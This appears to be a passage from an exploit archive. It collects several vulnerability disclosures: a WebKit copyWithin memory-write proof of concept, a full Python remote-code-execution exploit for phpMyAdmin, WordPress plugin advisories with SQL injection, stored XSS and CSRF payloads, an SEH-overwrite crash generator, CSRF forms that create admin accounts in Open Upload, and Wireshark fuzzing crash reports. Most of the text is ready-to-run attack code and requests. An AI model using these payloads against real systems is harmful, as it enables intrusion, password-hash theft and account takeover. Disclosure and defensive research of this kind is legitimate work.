    if (final < from)
        return JSValue::encode(exec->thisValue());

    long count = std::min(length - std::max(to, from), final - from);

    typename ViewClass::ElementType* array = thisObject->typedVector();
    memmove(array + to, array + from, count * thisObject->elementSize);

argumentClampedIndexFromStartOrEnd will call valueOf on a parameter to the copyWithin function, which can contain a function that neuters the this array, causing the variable "array" to be null. However, the "to" and "from" variables can be very large values, up to 0x7fffffff, which could be valid pointers on ARM and 32-bit platforms. This allows an absolute pointer in this range to be written to.

An HTML file demonstrating this issue is attached. This issue affects Safari Technology Preview and WebKit, but has not made it into production Safari yet (TypedArray.copyWithin is not supported).
-->

<html>
<body>
<script>

function f(){
   try{
   alert("t");
   postMessage("test", "http://127.0.0.1", [q])
   alert(a.byteLength);
   alert(q.byteLength);
  } catch(e){
     alert(e.message);
   alert(a.byteLength)
   alert(q.byteLength);
  }
   return 0x22345678;
}

alert(Date);

var q = new ArrayBuffer(0x7fffffff);
var o = {valueOf : f}
var a = new Uint8Array(q);

  // alert(q.byteLength);
var t = [];

a.copyWithin(0x12345678, o, 0x32345678);


</script>
</body>
</html>
            
#!/usr/bin/env python

"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
CVE: CVE-2016-5734
Author: https://twitter.com/iamsecurity
run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
"""

import requests
import argparse
import sys

__author__ = "@iamsecurity"

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument("url", type=str, help="URL with path to PMA")
    parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
    parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
    parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
    parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
    parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
    arguments = parser.parse_args()
    url_to_pma = arguments.url
    uname = arguments.user
    upass = arguments.pwd
    if arguments.dbs:
        db = arguments.dbs
    else:
        db = "test"
    token = False
    custom_table = False
    if arguments.table:
        custom_table = True
        table = arguments.table
    else:
        table = "prgpwn"
    if arguments.cmd:
        payload = arguments.cmd
    else:
        payload = "system('uname -a');"

    size = 32
    s = requests.Session()
    # you can manually add proxy support it's very simple ;)
    # s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
    s.verify = False
    sql = '''CREATE TABLE `{0}` (
      `first` varchar(10) CHARACTER SET utf8 NOT NULL
    ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
    INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
    '''.format(table)

    # get_token
    resp = s.post(url_to_pma + "/?lang=en", dict(
        pma_username=uname,
        pma_password=upass
    ))
    if resp.status_code is 200:
        token_place = resp.text.find("token=") + 6
        token = resp.text[token_place:token_place + 32]
    if token is False:
        print("Cannot get valid authorization token.")
        sys.exit(1)

    if custom_table is False:
        data = {
            "is_js_confirmed": "0",
            "db": db,
            "token": token,
            "pos": "0",
            "sql_query": sql,
            "sql_delimiter": ";",
            "show_query": "0",
            "fk_checks": "0",
            "SQL": "Go",
            "ajax_request": "true",
            "ajax_page_request": "true",
        }
        resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
        if resp.status_code == 200:
            if "success" in resp.json():
                if resp.json()["success"] is False:
                    first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
                    error = first[:first.find("</code>")]
                    if "already exists" in error:
                        print(error)
                    else:
                        print("ERROR: " + error)
                        sys.exit(1)
    # build exploit
    exploit = {
        "db": db,
        "table": table,
        "token": token,
        "goto": "sql.php",
        "find": "0/e\0",
        "replaceWith": payload,
        "columnIndex": "0",
        "useRegex": "on",
        "submit": "Go",
        "ajax_request": "true"
    }
    resp = s.post(
        url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
    )
    if resp.status_code == 200:
        result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
        if len(result):
            print("result: " + result)
            sys.exit(0)
        print(
            "Exploit failed!\n"
            "Try to manually set exploit parameters like --table, --database and --token.\n"
            "Remember that servers with PHP version greater than 5.4.6"
            " is not exploitable, because of warning about null byte in regexp"
        )
        sys.exit(1)
            
SQL injection vulnerability in Booking Calendar WordPress Plugin

Abstract

An SQL injection vulnerability exists in the Booking Calendar WordPress plugin. This vulnerability allows an attacker to view data from the database. The affected parameter is not properly sanitized or protected with an anti-Cross-Site Request Forgery token. Consequently, it can (also be exploited by luring the target user into clicking a specially crafted link or visiting a malicious website (or advertisement).

Contact

For feedback or questions about this advisory mail us at sumofpwn at securify.nl

The Summer of Pwnage

This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.

OVE ID
OVE-20160714-0002

Tested versions

These issues were successfully tested on Booking Calendar WordPress Plugin version 6.2.

Fix

This issue is resolved in Booking Calendar version 6.2.1.

Introduction

The Booking Calendar WordPress Plugin is a booking system for online reservation and availability checking service for your site. An SQL injection vulnerability exists in the Booking Calendar WordPress plugin. This vulnerability allows an attacker to view data from the database. The affected parameter is not properly sanitized or protected with an anti-Cross-Site Request Forgery token. Consequently, it can (also be exploited by luring the target user into clicking a specially crafted link or visiting a malicious website (or advertisement).

Details

This was discovered by the using the filter by Booking ID field. Because a WordPress user with the 'Editor' role can also use the Booking plugin, Editors can also access the vulnerable parameter. This allows these users to view all data from the database. The vulnerability exists in the wpdev_get_args_from_request_in_bk_listing() function from booking/lib/wpdev-bk-lib.php (line 709).

Proof of concept

The following proof of concept will show the hashed password from the first user.

<html>
   <body>
      <form action="http://<target>/wp-admin/admin.php?page=booking%2Fwpdev-booking.phpwpdev-booking&wh_approved&wh_is_new=1&wh_booking_date=3&view_mode=vm_listing" method="POST">
         <input type="hidden" name="wh&#95;booking&#95;id" value="3 AND (SELECT 5283 FROM(SELECT COUNT(*),CONCAT(0x7176626271,(SELECT MID((IFNULL(CAST(user_pass AS CHAR),0x20)),1,54) FROM wordpress.wp_users ORDER BY ID LIMIT 0,1),0x717a787a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)" />
         <input type="submit" value="Submit request" />
      </form>
   </body>
</html>
            
Stored Cross-Site Scripting vulnerability in WP Live Chat Support WordPress Plugin

Abstract

A stored Cross-Site Scripting vulnerability was found in the WP Live Chat Support WordPress Plugin. This issue can be exploited by an unauthenticated user. It allows an attacker to perform a wide variety of actions, such as stealing users' session tokens, or performing arbitrary actions on their behalf.

Contact

For feedback or questions about this advisory mail us at sumofpwn at securify.nl

The Summer of Pwnage

This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.

OVE ID
OVE-20160724-0010

Tested versions

This issue was successfully tested on WP Live Chat Support WordPress Plugin version 6.2.03.

Fix

This issue is resolved in WP Live Chat Support version 6.2.04.

Introduction

WP Live Chat Support allows chatting with visitors of a WordPress site. A persistent Cross-Site Scripting vulnerability has been discovered in the WP Live Chat Support allowing an attacker to execute actions on behalf of a logged on WordPress user. A stored Cross-Site Scripting vulnerability was found in the WP Live Chat Support WordPress Plugin. This issue can be exploited by an unauthenticated user. It allows an attacker to perform a wide variety of actions, such as stealing users' session tokens, or performing arbitrary actions on their behalf.

Details

The vulnerability exists in the file wp-live-chat-support/functions.php (line 1233), which is called in the file wp-live-chat-support/wp-live-chat-support.php (line 602):

wp-live-chat-support/wp-live-chat-support.php:

600 if ($_POST['action'] == "wplc_user_send_offline_message") {
601 if(function_exists('wplc_send_offline_msg')){ wplc_send_offline_msg($_POST['name'], $_POST['email'], $_POST['msg'], $_POST['cid']); }
602 if(function_exists('wplc_store_offline_message')){ wplc_store_offline_message($_POST['name'], $_POST['email'], $_POST['msg']); }
603 do_action("wplc_hook_offline_message",array(
604 "cid"=>$_POST['cid'],
605 "name"=>$_POST['name'],
606 "email"=>$_POST['email'],
607 "url"=>get_site_url(),
608 "msg"=>$_POST['msg']
609 )
610 );
611 }

wp-live-chat-support/functions.php:

1206 function wplc_store_offline_message($name, $email, $message){
1207 global $wpdb;
1208 global $wplc_tblname_offline_msgs;
1209 
1210 $wplc_settings = get_option('WPLC_SETTINGS');
1211 
1212 if(isset($wplc_settings['wplc_record_ip_address']) && $wplc_settings['wplc_record_ip_address'] == 1){
1213 if(isset($_SERVER['HTTP_X_FORWARDED_FOR']) && $_SERVER['HTTP_X_FORWARDED_FOR'] != '') {
1214 $ip_address = $_SERVER['HTTP_X_FORWARDED_FOR'];
1215 } else {
1216 $ip_address = $_SERVER['REMOTE_ADDR'];
1217 }
1218 $offline_ip_address = $ip_address;
1219 } else {
1220 $offline_ip_address = "";
1221 }
1222 
1223 
1224 $ins_array = array(
1225 'timestamp' => current_time('mysql'),
1226 'name' => $name,
1227 'email' => $email,
1228 'message' => $message,
1229 'ip' => $offline_ip_address,
1230 'user_agent' => $_SERVER['HTTP_USER_AGENT']
1231 );
1232 
1233 $rows_affected = $wpdb->insert( $wplc_tblname_offline_msgs, $ins_array );
1234 return;
1235 }

The vulnerability can be exploited using a specially crafted POST request. The victim needs view the WP Live Chat Offline Messages page to trigger the Cross-Site Scripting payload. It should be noted taht the offline message functionality is available even if there is a logged on chat user present.

Proof of concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 361
Connection: close
   
action=wplc_user_send_offline_message&security=8d1fc19e30&cid=1&name=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 32, 105, 110, 32, 110, 97, 109, 101, 33, 34, 41, 59));</script>&email=Mail&msg=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 32, 105, 110, 32, 109, 115, 103, 33, 34, 41, 59));</script>
            
Cross-Site Request Forgery in ALO EasyMail Newsletter WordPress Plugin

Contact

For feedback or questions about this advisory mail us at sumofpwn at securify.nl

The Summer of Pwnage

This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.

OVE ID
OVE-20160724-0021

Abstract

It was discovered that the ALO EasyMail Newsletter WordPress Plugin is vulnerable to Cross-Site Request Forgery. Amongst others, this issue can be used to add/import arbitrary subscribers. In order to exploit this issue, the attacker has to lure/force a victim into opening a malicious website/link.

Tested versions

This issue was successfully tested on ALO EasyMail Newsletter WordPress Plugin version 2.9.2.

Fix

This issue is resolved in ALO EasyMail Newsletter version 2.9.3.

Introduction

ALO EasyMail Newsletter is a plugin for WordPress that allows to write and send newsletters, and to gather and manage the subscribers. It supports internationalization and multilanguage. It was discovered that the ALO EasyMail Newsletter WordPress Plugin is vulnerable to Cross-Site Request Forgery.

Details

A number of actions within ALO EasyMail Newsletter consist of two steps. The 'step one' action is protected against Cross-Site Request Forgery by means of the check_admin_referer() WordPress function.

<?php 
/**
* Bulk action: Step #1/2
*/
if ( isset($_REQUEST['doaction_step1']) ) {
   check_admin_referer('alo-easymail_subscribers');

However the call to check_admin_referer() has been commented out for all 'step two' actions. Due to this it is possible for an attacker to perform a Cross-Site Request Forgery attack for all the 'step 2' actions.

/**
* Bulk action: Step #2/2
*/
if ( isset($_REQUEST['doaction_step2']) ) {
   //if($wp_version >= '2.6.5') check_admin_referer('alo-easymail_subscribers');

   
Amongst others, this issue can be used to add/import arbitrary subscribers. In order to exploit this issue, the attacker has to lure/force a victim into opening a malicious website/link.

Proof of concept

POST /wp-admin/edit.php?post_type=newsletter&page=alo-easymail%2Fpages%2Falo-easymail-admin-subscribers.php&doaction_step2=true&action=import HTTP/1.1
Host: <target>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: <session cookies>
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------17016644981835490787491067954
Content-Length: 645
   
-----------------------------17016644981835490787491067954
Content-Disposition: form-data; name="uploaded_csv"; filename="foo.csv"
Content-Type: text/plain
   
sumofpwn@securify.n;Summer of Pwnage;en
   
-----------------------------17016644981835490787491067954
Content-Disposition: form-data; name="post_type"
   
newsletter
-----------------------------17016644981835490787491067954
Content-Disposition: form-data; name="action"
   
import_step2
-----------------------------17016644981835490787491067954
Content-Disposition: form-data; name="doaction_step2"
   
Upload CSV file
-----------------------------17016644981835490787491067954--
            
# Exploit Title: [Haliburton LogView Pro v9.7.5]
# Exploit Author: [Karn Ganeshen]
# Download link: [http://www.halliburton.com/public/lp/contents/Interactive_Tools/web/Toolkits/lp/Halliburton_Log_Viewer.exe]

# Version: [Current version 9.7.5]
# Tested on: [Windows Vista Ultimate SP2]
#
# Open cgm/tif/tiff/tifh file -> program crash -> SEH overwritten
#
# SEH chain of main thread
# Address SE handler
# 0012D22C kernel32.76B6FEF9
# 0012D8CC 42424242
# 41414141 *** CORRUPT ENTRY ***
#

#!/usr/bin/python

file="evil.cgm"
buffer = "A"*804 + "B"*4

file = open(file, 'w')
file.write(buffer)
file.close()

# +++++
            
================================================================================================================
Open Upload 0.4.2 Remote Admin Add CSRF Exploit and Changing Normal user permission
================================================================================================================
# Exploit Title		: Open Upload 0.4.2 Remote Admin Add CSRF Exploit
# Exploit Author	: Vinesh Redkar (@b0rn2pwn) 
# Email      		: vineshredkar89[at]gmail[d0t]com
# Date: 21/07/2016
# Vendor Homepage: http://openupload.sourceforge.net/
# Software Link: https://sourceforge.net/projects/openupload/
# Version: 0.4.2
# Tested on: Windows 10 OS
 
Open Upload Application is vulnerable to CSRF attack (No CSRF token in place) meaning
that if an admin user can be tricked to visit a crafted URL created by
attacker (via spear phishing/social engineering).

Once exploited, the attacker can login as the admin using the username and the password he posted in the form.

======================CSRF POC (Adding New user with Admin Privileges)==================================
CSRF PoC Code
<html>
<head>
<title>Remote Admin Add CSRF Exploit</title>
</head>
<H2>Remote Admin Add CSRF Exploit by b0rn2pwn</H2>
  <body>
    <form action="http://127.0.0.1/openupload/index.php" method="POST">
      <input type="hidden" name="action" value="adminusers" />
      <input type="hidden" name="step" value="2" />
      <input type="hidden" name="adduserlogin" value="attacker" />
      <input type="hidden" name="adduserpassword" value="attacker" />
      <input type="hidden" name="adduserrepassword" value="attacker" />
      <input type="hidden" name="addusername" value="attacker" />
      <input type="hidden" name="adduseremail" value="attacker&#64;gmail&#46;com" />
      <input type="hidden" name="addusergroup" value="admins" />
      <input type="hidden" name="adduserlang" value="en" />
      <input type="hidden" name="adduseractive" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

======================CSRF POC (Changing privileges from normal user to administer)==================================

<html>
<head>
<title>Change privilege normal user to administer CSRF Exploit</title>
</head>
<H2>Change privilege normal user to administer CSRF Exploit by b0rn2pwn</H2>
  <body>
    <form action="http://127.0.0.1/openupload/index.php" method="POST">
      <input type="hidden" name="action" value="adminusers" />
      <input type="hidden" name="step" value="3" />
      <input type="hidden" name="login" value="normal user" />
      <input type="hidden" name="edituserpassword" value="" />
      <input type="hidden" name="edituserrepassword" value="" />
      <input type="hidden" name="editusername" value="normaluser" />
      <input type="hidden" name="edituseremail" value="normaluser&#64;gmail&#46;com" />
      <input type="hidden" name="editusergroup" value="admins" />
      <input type="hidden" name="edituserlang" value="en" />
      <input type="hidden" name="edituseractive" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
            
Sample PCAP

Build Information:
TShark (Wireshark) 2.0.2 (SVN Rev Unknown from unknown)

Copyright 1998-2016 Gerald Combs <gerald@wireshark.org> and contributors.
License GPLv2+: GNU GPL version 2 or later <http://www.gnu.org/licenses/old-licenses/gpl-2.0.html>
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Compiled (64-bit) with libpcap, with POSIX capabilities (Linux), with libnl 3,
with libz 1.2.8, with GLib 2.48.0, with SMI 0.4.8, with c-ares 1.10.0, with Lua
5.2, with GnuTLS 3.4.10, with Gcrypt 1.6.5, with MIT Kerberos, with GeoIP.

Running on Linux 4.4.0-22-generic, with locale en_GB.UTF-8, with libpcap version
1.7.4, with libz 1.2.8, with GnuTLS 3.4.10, with Gcrypt 1.6.5.
Intel Core Processor (Haswell) (with SSE4.2)

Built using gcc 5.3.1 20160407.

--
Fuzzed PCAP takes 100% CPU and runs for a long time on tshark 2.0.2 and a recent build from repository ( commit 688d055acd523e645c1e87267dcf4a0a9867adbd ).

GDB backtrace from 'tshark -2 -V -r <pcap>' aborted after running for a while:

Program received signal SIGABRT, Aborted.
0x00007ffff45bb676 in rlc_decode_li (mode=RLC_AM, tvb=0x9342c0, pinfo=0xb04c18, tree=0x0, li=0x7fffffffbab0, max_li=16 '\020', li_on_2_bytes=0) at packet-rlc.c:1722
1722	        next_bytes = li_on_2_bytes ? tvb_get_ntohs(tvb, hdr_len) : tvb_get_guint8(tvb, hdr_len);
123 tomb gdb execution "thread apply all bt" 321

Thread 1 (Thread 0x7ffff7fb9740 (LWP 1578)):
#0  0x00007ffff45bb676 in rlc_decode_li (mode=RLC_AM, tvb=0x9342c0, pinfo=0xb04c18, tree=0x0, li=0x7fffffffbab0, max_li=16 '\020', li_on_2_bytes=0) at packet-rlc.c:1722
#1  0x00007ffff45bde04 in dissect_rlc_am (channel=RLC_UL_DCCH, tvb=0x9342c0, pinfo=0xb04c18, top_level=0x0, tree=0x0, atm=0x0) at packet-rlc.c:2308
#2  0x00007ffff45be82a in dissect_rlc_dcch (tvb=0x9342c0, pinfo=0xb04c18, tree=0x0, data=0x0) at packet-rlc.c:2477
#3  0x00007ffff3caa711 in call_dissector_through_handle (handle=0x7fffedb08f50, tvb=0x9342c0, pinfo=0xb04c18, tree=0x0, data=0x0) at packet.c:660
#4  0x00007ffff3caa8a2 in call_dissector_work (handle=0x7fffedb08f50, tvb=0x9342c0, pinfo_arg=0xb04c18, tree=0x0, add_proto_name=1, data=0x0) at packet.c:735
#5  0x00007ffff3cadd25 in call_dissector_only (handle=0x7fffedb08f50, tvb=0x9342c0, pinfo=0xb04c18, tree=0x0, data=0x0) at packet.c:2791
#6  0x00007ffff3cadd68 in call_dissector_with_data (handle=0x7fffedb08f50, tvb=0x9342c0, pinfo=0xb04c18, tree=0x0, data=0x0) at packet.c:2804
#7  0x00007ffff47e7679 in dissect_mac_fdd_dch (tvb=0xb0ac50, pinfo=0xb04c18, tree=0x0, data=0x0) at packet-umts_mac.c:564
#8  0x00007ffff3caa711 in call_dissector_through_handle (handle=0x7fffedb13b70, tvb=0xb0ac50, pinfo=0xb04c18, tree=0x0, data=0x0) at packet.c:660
#9  0x00007ffff3caa8a2 in call_dissector_work (handle=0x7fffedb13b70, tvb=0xb0ac50, pinfo_arg=0xb04c18, tree=0x0, add_proto_name=1, data=0x0) at packet.c:735
#10 0x00007ffff3cadd25 in call_dissector_only (handle=0x7fffedb13b70, tvb=0xb0ac50, pinfo=0xb04c18, tree=0x0, data=0x0) at packet.c:2791
#11 0x00007ffff3cadd68 in call_dissector_with_data (handle=0x7fffedb13b70, tvb=0xb0ac50, pinfo=0xb04c18, tree=0x0, data=0x0) at packet.c:2804
#12 0x00007ffff47dab2e in dissect_tb_data (tvb=0xb0ac00, pinfo=0xb04c18, tree=0x0, offset=3, p_fp_info=0x7fffeca74180, data_handle=0x7ffff7aae8e8 <mac_fdd_dch_handle>, data=0x0) at packet-umts_fp.c:815
#13 0x00007ffff47decbb in dissect_dch_channel_info (tvb=0xb0ac00, pinfo=0xb04c18, tree=0x0, offset=3, p_fp_info=0x7fffeca74180, data=0x0) at packet-umts_fp.c:2557
#14 0x00007ffff47e476e in dissect_fp_common (tvb=0xb0ac00, pinfo=0xb04c18, tree=0x0, data=0x0) at packet-umts_fp.c:4419
#15 0x00007ffff47e4add in dissect_fp (tvb=0xb0ac00, pinfo=0xb04c18, tree=0x0, data=0x0) at packet-umts_fp.c:4507
#16 0x00007ffff3caa711 in call_dissector_through_handle (handle=0x7fffeda51580, tvb=0xb0ac00, pinfo=0xb04c18, tree=0x0, data=0x0) at packet.c:660
#17 0x00007ffff3caa8a2 in call_dissector_work (handle=0x7fffeda51580, tvb=0xb0ac00, pinfo_arg=0xb04c18, tree=0x0, add_proto_name=1, data=0x0) at packet.c:735
#18 0x00007ffff3cadd25 in call_dissector_only (handle=0x7fffeda51580, tvb=0xb0ac00, pinfo=0xb04c18, tree=0x0, data=0x0) at packet.c:2791
#19 0x00007ffff3c99819 in try_conversation_dissector (addr_a=0xb04cf0, addr_b=0xb04cd8, ptype=PT_UDP, port_a=65359, port_b=8040, tvb=0xb0ac00, pinfo=0xb04c18, tree=0x0, data=0x0) at conversation.c:1323
#20 0x00007ffff47d3839 in decode_udp_ports (tvb=0x848b70, offset=8, pinfo=0xb04c18, tree=0x0, uh_sport=8040, uh_dport=65359, uh_ulen=3554) at packet-udp.c:541
#21 0x00007ffff47d5e21 in dissect (tvb=0x848b70, pinfo=0xb04c18, tree=0x0, ip_proto=17) at packet-udp.c:1080
#22 0x00007ffff47d5e79 in dissect_udp (tvb=0x848b70, pinfo=0xb04c18, tree=0x0, data=0x7fffec869030) at packet-udp.c:1086
#23 0x00007ffff3caa711 in call_dissector_through_handle (handle=0x7fffedb13330, tvb=0x848b70, pinfo=0xb04c18, tree=0x0, data=0x7fffec869030) at packet.c:660
#24 0x00007ffff3caa8a2 in call_dissector_work (handle=0x7fffedb13330, tvb=0x848b70, pinfo_arg=0xb04c18, tree=0x0, add_proto_name=1, data=0x7fffec869030) at packet.c:735
#25 0x00007ffff3cab583 in dissector_try_uint_new (sub_dissectors=0x7b1cc0, uint_val=17, tvb=0x848b70, pinfo=0xb04c18, tree=0x0, add_proto_name=1, data=0x7fffec869030) at packet.c:1199
#26 0x00007ffff425e409 in ip_try_dissect (heur_first=0, tvb=0x848b70, pinfo=0xb04c18, tree=0x0, iph=0x7fffec869030) at packet-ip.c:1977
#27 0x00007ffff426037c in dissect_ip_v4 (tvb=0x848b20, pinfo=0xb04c18, parent_tree=0x0, data=0x0) at packet-ip.c:2476
#28 0x00007ffff3caa711 in call_dissector_through_handle (handle=0x7fffedb78930, tvb=0x848b20, pinfo=0xb04c18, tree=0x0, data=0x0) at packet.c:660
#29 0x00007ffff3caa8a2 in call_dissector_work (handle=0x7fffedb78930, tvb=0x848b20, pinfo_arg=0xb04c18, tree=0x0, add_proto_name=1, data=0x0) at packet.c:735
#30 0x00007ffff3cab583 in dissector_try_uint_new (sub_dissectors=0x73c040, uint_val=2048, tvb=0x848b20, pinfo=0xb04c18, tree=0x0, add_proto_name=1, data=0x0) at packet.c:1199
#31 0x00007ffff3cab5e4 in dissector_try_uint (sub_dissectors=0x73c040, uint_val=2048, tvb=0x848b20, pinfo=0xb04c18, tree=0x0) at packet.c:1225
#32 0x00007ffff40a1c60 in dissect_ethertype (tvb=0xb03d20, pinfo=0xb04c18, tree=0x0, data=0x7fffffffcc20) at packet-ethertype.c:262
#33 0x00007ffff3caa711 in call_dissector_through_handle (handle=0x7fffeda50000, tvb=0xb03d20, pinfo=0xb04c18, tree=0x0, data=0x7fffffffcc20) at packet.c:660
#34 0x00007ffff3caa8a2 in call_dissector_work (handle=0x7fffeda50000, tvb=0xb03d20, pinfo_arg=0xb04c18, tree=0x0, add_proto_name=1, data=0x7fffffffcc20) at packet.c:735
#35 0x00007ffff3cadd25 in call_dissector_only (handle=0x7fffeda50000, tvb=0xb03d20, pinfo=0xb04c18, tree=0x0, data=0x7fffffffcc20) at packet.c:2791
#36 0x00007ffff3cadd68 in call_dissector_with_data (handle=0x7fffeda50000, tvb=0xb03d20, pinfo=0xb04c18, tree=0x0, data=0x7fffffffcc20) at packet.c:2804
#37 0x00007ffff40a04d5 in dissect_eth_common (tvb=0xb03d20, pinfo=0xb04c18, parent_tree=0x0, fcs_len=-1) at packet-eth.c:540
#38 0x00007ffff40a106b in dissect_eth (tvb=0xb03d20, pinfo=0xb04c18, tree=0x0, data=0xad6928) at packet-eth.c:836
#39 0x00007ffff3caa711 in call_dissector_through_handle (handle=0x7fffedb5c7a0, tvb=0xb03d20, pinfo=0xb04c18, tree=0x0, data=0xad6928) at packet.c:660
#40 0x00007ffff3caa8a2 in call_dissector_work (handle=0x7fffedb5c7a0, tvb=0xb03d20, pinfo_arg=0xb04c18, tree=0x0, add_proto_name=1, data=0xad6928) at packet.c:735
#41 0x00007ffff3cab583 in dissector_try_uint_new (sub_dissectors=0x73c2c0, uint_val=1, tvb=0xb03d20, pinfo=0xb04c18, tree=0x0, add_proto_name=1, data=0xad6928) at packet.c:1199
#42 0x00007ffff40e9887 in dissect_frame (tvb=0xb03d20, pinfo=0xb04c18, parent_tree=0x0, data=0x7fffffffd380) at packet-frame.c:507
#43 0x00007ffff3caa711 in call_dissector_through_handle (handle=0x7fffeda51950, tvb=0xb03d20, pinfo=0xb04c18, tree=0x0, data=0x7fffffffd380) at packet.c:660
#44 0x00007ffff3caa8a2 in call_dissector_work (handle=0x7fffeda51950, tvb=0xb03d20, pinfo_arg=0xb04c18, tree=0x0, add_proto_name=1, data=0x7fffffffd380) at packet.c:735
#45 0x00007ffff3cadd25 in call_dissector_only (handle=0x7fffeda51950, tvb=0xb03d20, pinfo=0xb04c18, tree=0x0, data=0x7fffffffd380) at packet.c:2791
#46 0x00007ffff3cadd68 in call_dissector_with_data (handle=0x7fffeda51950, tvb=0xb03d20, pinfo=0xb04c18, tree=0x0, data=0x7fffffffd380) at packet.c:2804
#47 0x00007ffff3caa079 in dissect_record (edt=0xb04c00, file_type_subtype=1, phdr=0xad68c0, tvb=0xb03d20, fd=0x7fffffffd550, cinfo=0x0) at packet.c:543
#48 0x00007ffff3c9ebf9 in epan_dissect_run (edt=0xb04c00, file_type_subtype=1, phdr=0xad68c0, tvb=0xb03d20, fd=0x7fffffffd550, cinfo=0x0) at epan.c:365
#49 0x000000000041844c in process_packet_first_pass (cf=0x64f100 <cfile>, edt=0xb04c00, offset=20928, whdr=0xad68c0, pd=0xb04e20 "4\a\373\024t,\320\320\375+\004\300\b") at tshark.c:2694
#50 0x0000000000418dd7 in load_cap_file (cf=0x64f100 <cfile>, save_file=0x0, out_file_type=2, out_file_name_res=0, max_packet_count=-1, max_byte_count=0) at tshark.c:2988
#51 0x0000000000416fa0 in main (argc=5, argv=0x7fffffffdda8) at tshark.c:1873


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40199.zip
            
Sample generated with AFL

Build Information:
TShark (Wireshark) 2.0.4

Copyright 1998-2016 Gerald Combs <gerald@wireshark.org> and contributors.
License GPLv2+: GNU GPL version 2 or later <http://www.gnu.org/licenses/old-licenses/gpl-2.0.html>
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Compiled (64-bit) with libpcap, with POSIX capabilities (Linux), with libnl 3,
with libz 1.2.8, with GLib 2.48.1, without SMI, with c-ares 1.11.0, with Lua
5.2, with GnuTLS 3.4.13, with Gcrypt 1.7.1, with MIT Kerberos, with GeoIP.

Running on Linux 4.6.3-1-ARCH, with locale en_US.utf8, with libpcap version
1.7.4, with libz 1.2.8, with GnuTLS 3.4.13, with Gcrypt 1.7.1.
       Intel(R) Core(TM) i5-2520M CPU @ 2.50GHz (with SSE4.2)

Built using gcc 6.1.1 20160602.
--
This issue was uncovered with AFL (http://lcamtuf.coredump.cx/afl/)

This infinite loop is caused by an offset of 0 being returned by wkh_content_disposition(). This offset of 0 prevents the while loop using "offset < tvb_len" from returning and results in an infinite loop.

This issue has been observed in both tshark 1.12.x and 2.0.x.

Credit goes to Chris Benedict, Aurelien Delaitre, NIST SAMATE Project, https://samate.nist.gov


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40198.zip
            
Sample generated by AFL

Build Information:
TShark 1.12.9 (v1.12.9-0-gfadb421 from (HEAD)

Copyright 1998-2015 Gerald Combs <gerald@wireshark.org> and contributors.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Compiled (64-bit) with GLib 2.48.1, with libpcap, with libz 1.2.8, with POSIX
capabilities (Linux), with libnl 3, without SMI, with c-ares 1.11.0, without
Lua, without Python, with GnuTLS 3.4.13, with Gcrypt 1.7.1, with MIT Kerberos,
with GeoIP.

Running on Linux 4.6.2-1-ARCH, with locale en_US.utf8, with libpcap version
1.7.4, with libz 1.2.8.
       Intel(R) Core(TM) i5-2520M CPU @ 2.50GHz
--
This issue was uncovered with AFL (http://lcamtuf.coredump.cx/afl/)

The attached sample evokes a divide-by-zero error in the dissect_pbb_tlvblock() function at packet-packetbb.c:289.

The variable of interest seems to be 'c' which is set at packet-packetbb.c:285 using two other variables and an addition. When c is zero, the expression "length/c" at packet-packetbb.c:289 results in a divide-by-zero error.

Divide-by-zero has been observed when sample is parsed by tshark versions 1.12.8, 1.12.9, 1.12.10, 1.12.12, and 2.0.4 among others.

Credit goes to Chris Benedict, Aurelien Delaitre, NIST SAMATE Project, https://samate.nist.gov


Proof of Concept:
